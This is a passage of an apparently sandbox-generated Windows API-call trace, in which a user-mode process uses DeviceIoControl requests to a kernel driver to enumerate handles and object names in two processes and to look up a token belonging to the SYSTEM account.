ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.600] ObfDereferenceObject (Object=0xfffffa8003c3ae60) returned 0x1 [0132.600] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.600] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.600] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.600] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.600] PsAcquireProcessExitSynchronization () returned 0x0 [0132.600] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0) [0132.600] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800feae350, HandleInformation=0x0) returned 0x0 [0132.600] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.600] PsReleaseProcessExitSynchronization () returned 0x2 [0132.600] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0132.600] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.600] ObfDereferenceObject (Object=0xfffffa800feae350) returned 0x1 [0132.600] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.600] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.601] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0132.601] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.601] PsAcquireProcessExitSynchronization () returned 0x0 [0132.601] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0) [0132.601] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800cabbea0, HandleInformation=0x0) returned 0x0 [0132.601] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.601] PsReleaseProcessExitSynchronization () returned 0x2 [0132.601] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0132.601] ObQueryNameString (in: Object=0xfffffa800281b200, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.601] ObfDereferenceObject (Object=0xfffffa800cabbea0) returned 0x1 [0132.601] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.601] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.601] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.601] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.601] PsAcquireProcessExitSynchronization () returned 0x0 [0132.601] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880050005d0) [0132.601] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.601] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.601] PsReleaseProcessExitSynchronization () returned 0x2 [0132.601] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0132.601] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.601] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.601] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.601] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.601] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0132.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.601] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8003c04ab0, HandleInformation=0x0) returned 0x0 [0132.601] ObOpenObjectByPointer (in: Object=0xfffffa8003c04ab0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.601] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0132.602] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.602] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.602] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.602] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.602] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.603] CloseHandle (hObject=0xc8) returned 1 [0132.603] CloseHandle (hObject=0xc0) returned 1 [0132.603] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.603] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.603] PsAcquireProcessExitSynchronization () returned 0x0 [0132.603] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.603] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80029137b0, HandleInformation=0x0) returned 0x0 [0132.603] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.603] PsReleaseProcessExitSynchronization () returned 0x2 [0132.603] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.603] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.603] ObfDereferenceObject (Object=0xfffffa80029137b0) returned 0x1 [0132.603] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.603] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.603] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.603] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.603] PsAcquireProcessExitSynchronization () returned 0x0 [0132.604] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.604] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800fdff470, HandleInformation=0x0) returned 0x0 [0132.604] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.604] PsReleaseProcessExitSynchronization () returned 0x2 [0132.604] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.604] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.604] ObfDereferenceObject (Object=0xfffffa800fdff470) returned 0x1 [0132.604] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.604] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.604] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0132.604] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.604] PsAcquireProcessExitSynchronization () returned 0x0 [0132.604] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.604] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0132.604] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.604] PsReleaseProcessExitSynchronization () returned 0x2 [0132.604] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.604] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.604] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0132.604] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.604] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.604] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0132.604] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.604] PsAcquireProcessExitSynchronization () returned 0x0 [0132.604] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.604] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800eb5bbc0, HandleInformation=0x0) returned 0x0 [0132.604] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.604] PsReleaseProcessExitSynchronization () returned 0x2 [0132.604] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.604] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.604] ObfDereferenceObject (Object=0xfffffa800eb5bbc0) returned 0x21 [0132.604] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.605] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.605] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.605] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.605] PsAcquireProcessExitSynchronization () returned 0x0 [0132.605] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.605] ObReferenceObjectByHandle (in: Handle=0x270, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002254f20, HandleInformation=0x0) returned 0x0 [0132.605] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.605] PsReleaseProcessExitSynchronization () returned 0x2 [0132.605] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.605] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0132.605] ObfDereferenceObject (Object=0xfffffa8002254f20) returned 0x1 [0132.605] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.605] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.605] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0132.605] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.605] PsAcquireProcessExitSynchronization () returned 0x0 [0132.605] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.605] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800193d340, HandleInformation=0x0) returned 0x0 [0132.605] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.605] PsReleaseProcessExitSynchronization () returned 0x2 [0132.605] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.605] ObQueryNameString (in: Object=0xfffffa800193d340, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.605] ObfDereferenceObject (Object=0xfffffa800193d340) returned 0x3 [0132.605] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.605] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.605] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.605] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0132.606] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.606] PsAcquireProcessExitSynchronization () returned 0x0 [0132.606] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.606] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019c4430, HandleInformation=0x0) returned 0x0 [0132.606] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.606] PsReleaseProcessExitSynchronization () returned 0x2 [0132.606] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.606] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0132.606] ObfDereferenceObject (Object=0xfffffa80019c4430) returned 0x1 [0132.606] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.606] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.606] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0132.606] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.606] PsAcquireProcessExitSynchronization () returned 0x0 [0132.606] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.606] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a2bb60, HandleInformation=0x0) returned 0x0 [0132.606] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.606] PsReleaseProcessExitSynchronization () returned 0x2 [0132.606] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.606] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.606] ObfDereferenceObject (Object=0xfffffa8001a2bb60) returned 0x12 [0132.606] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.606] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.606] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xee, lpOverlapped=0x0) returned 1 [0132.606] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.606] PsAcquireProcessExitSynchronization () returned 0x0 [0132.606] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.606] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a2b850, HandleInformation=0x0) returned 0x0 [0132.606] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.606] PsReleaseProcessExitSynchronization () returned 0x2 [0132.606] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.606] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.607] ObfDereferenceObject (Object=0xfffffa8001a2b850) returned 0x1 [0132.607] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.607] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.607] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0132.607] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.607] PsAcquireProcessExitSynchronization () returned 0x0 [0132.607] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.607] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a312b0, HandleInformation=0x0) returned 0x0 [0132.607] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.607] PsReleaseProcessExitSynchronization () returned 0x2 [0132.607] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.607] ObQueryNameString (in: Object=0xfffffa8001a312b0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.607] ObfDereferenceObject (Object=0xfffffa8001a312b0) returned 0x3 [0132.607] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.607] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.607] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0132.607] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.607] PsAcquireProcessExitSynchronization () returned 0x0 [0132.607] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.607] ObReferenceObjectByHandle (in: Handle=0x4b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001cb7240, HandleInformation=0x0) returned 0x0 [0132.607] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.607] PsReleaseProcessExitSynchronization () returned 0x2 [0132.607] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.607] ObQueryNameString (in: Object=0xfffff8a001cb7240, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.607] ObfDereferenceObject (Object=0xfffff8a001cb7240) returned 0x2 [0132.607] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) 